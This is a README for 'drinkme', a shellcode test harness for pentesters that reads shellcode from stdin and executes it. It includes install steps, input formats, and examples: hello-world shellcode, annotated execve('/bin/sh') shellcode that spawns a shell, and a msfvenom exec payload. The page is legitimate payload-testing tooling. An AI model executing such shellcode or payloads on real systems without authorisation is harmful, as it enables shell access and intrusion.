drinkme

drinkme is a shellcode test harness. It reads shellcode from stdin and executes it. This allows pentesters to quickly test their payloads before deployment.

Formats

drinkme can handle shellcode in the following formats:

• “0x##”
• “\x##”
• “x##”
• “##”

For example, NOP could be represented as any of “0x90”, “\x90”, “x90”, or “90”.

When processing the input drinkme will ignore any of the following:

• C and C++ style comments.
• All whitespace.
• Any characters from the set [\”,;].

Download

git clone https://github.com/emptymonkey/drinkme.git
cd drinkme
make
cp drinkme /usr/bin

Usage

usage: drinkme [-p] [-h]

-p Print the formatted shellcode. Don’t execute it.
-h Print this help message.

Example: cat hello_world.x86_64 | drinkme

Example

write(STDOUT_FILENO, “Hello world!\n”, strlen(“Hello world!\n”))

empty@monkey:~$ cat hello_world.x86_64
\xeb\x1d\x5e\x48\x31\xc0\xb0\x01\x48\x31\xff\x40\xb7\x01\x48\x31\xd2\xb2\x0d\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xde\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21\x0a

empty@monkey:~$ cat hello_world.x86_64 | drinkme
Hello world!

execve(“/bin/sh”)

empty@monkey:~$ cat execve_bin_sh.x86_64 empty@monkey:~$ cat execve_bin_sh.x86_64     “\x48\x31\xd2”                                  // xor    %rdx, %rdx    “\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68”      // mov $0x68732f6e69622f2f, %rbx    “\x48\xc1\xeb\x08”                              // shr    $0x8, %rbx    “\x53”                                          // push   %rbx    “\x48\x89\xe7”                                  // mov    %rsp, %rdi    “\x50”                                          // push   %rax    “\x57”                                          // push   %rdi    “\x48\x89\xe6”                                  // mov    %rsp, %rsi    “\xb0\x3b”                                      // mov    $0x3b, %al    “\x0f\x05”;                                     // syscall
empty@monkey:~$ echo $$3880
empty@monkey:~$ cat execve_bin_sh.x86_64 | drinkme
$ echo $$18613

msfvenom to exec “/usr/bin/id”

root@kali-amd64:~# msfvenom –arch x86_64 –platform linux -f hex -p linux/x64/exec CMD=/usr/bin/id
No encoder or badchars specified, outputting raw payload
Payload size: 51 bytes
Final size of hex file: 102 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80c0000002f7573722f62696e2f69640056574889e60f05

root@kali-amd64:~# msfvenom –arch x86_64 –platform linux -f hex -p linux/x64/exec CMD=/usr/bin/id | drinkme
No encoder or badchars specified, outputting raw payload
Payload size: 51 bytes
Final size of hex file: 102 bytes

uid=0(root) gid=0(root) groups=0(root)

Source: https://github.com/emptymonkey/drinkme